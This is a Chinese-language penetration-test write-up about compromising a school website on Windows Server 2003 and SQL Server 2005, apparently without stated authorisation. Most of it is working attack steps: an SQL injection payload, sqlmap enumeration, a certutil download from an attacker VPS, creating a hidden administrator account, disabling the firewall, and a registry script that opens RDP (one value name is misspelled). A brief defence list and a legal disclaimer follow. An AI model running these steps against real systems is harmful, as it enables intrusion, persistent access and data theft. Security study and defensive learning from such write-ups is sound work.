记一次不曲折的校内站点渗透
字数 924 2025-08-05 12:50:26
校内站点渗透实战教学文档
1. 前言
本文记录了一次针对校内网站的渗透测试过程,涉及SQL注入、权限提升和远程控制等技术。测试环境为Windows Server 2003系统,数据库为SQL Server 2005。
2. 漏洞发现与利用
2.1 SQL注入检测
发现目标URL存在SQL注入漏洞:
http://url/newdetail.aspx?id=11999' or 1=1 --
2.2 SQLMap自动化利用
使用SQLMap进行自动化注入测试:
- 获取数据库列表:
python sqlmap.py -u "http://url/newdetail.aspx?id=119" --batch --dbs
- 获取用户信息:
python sqlmap.py -u "http://url/newdetail.aspx?id=119" --batch -users
关键信息:
- 数据库系统:SQL Server 2005
- 操作系统:Windows Server 2003 Enterprise Edition
- 当前权限:NT AUTHORITY\SYSTEM(系统最高权限)
3. 系统信息收集
3.1 基础信息收集
- 查看当前目录:
chdir
- 查看C盘内容:
Dir c:\
- 查看网络配置:
ipconfig
3.2 文件传输测试
利用certutil工具从VPS下载文件:
# VPS启动简易HTTP服务
python -m SimpleHTTPServer 80
# 目标服务器执行
certutil.exe -urlcache -split -f http://[VPS_IP]/amazing1x
注意:遇到中文路径导致SQLMap写木马乱码问题,尝试解决未果。
4. 权限维持与远程控制
4.1 创建管理员用户
- 新建用户:
net user amazingadmin123 amazing.123456 /add
- 赋予管理员权限:
net localgroup Administrators amazingadmin123 /add
- 激活用户:
net user amazingadmin123 /active:yes
- 关闭防火墙:
netsh firewall set opmode mode=disable
4.2 开启RDP远程桌面
通过注册表修改开启3389端口:
- 创建注册表文件:
echo Windows Registry Editor Version 5.00 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
echo "ortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
- 导入注册表:
regedit /s 3389.reg
遇到的问题:初始尝试失败,原因是安全策略要求复杂密码。解决方案是使用更复杂的密码创建用户。
5. 经验总结
- SQL注入利用:简单的SQL注入漏洞可能导致整个系统沦陷
- 权限提升:NT AUTHORITY\SYSTEM权限可直接控制系统
- 远程控制:Windows Server 2003的安全策略需要注意密码复杂度要求
- 文件传输:certutil是Windows内置的实用文件传输工具
- 中文路径问题:在渗透测试中可能遇到中文路径导致的乱码问题
6. 防御建议
- 修复SQL注入漏洞,使用参数化查询
- 加强密码策略,避免使用简单密码
- 限制数据库账户权限,避免使用高权限账户
- 监控系统日志,检测异常账户创建行为
- 保持系统更新,Windows Server 2003已停止支持,应考虑升级
7. 法律声明
本文仅用于教育目的,未经授权的渗透测试可能违反法律。在实际工作中,请确保获得合法授权后再进行安全测试。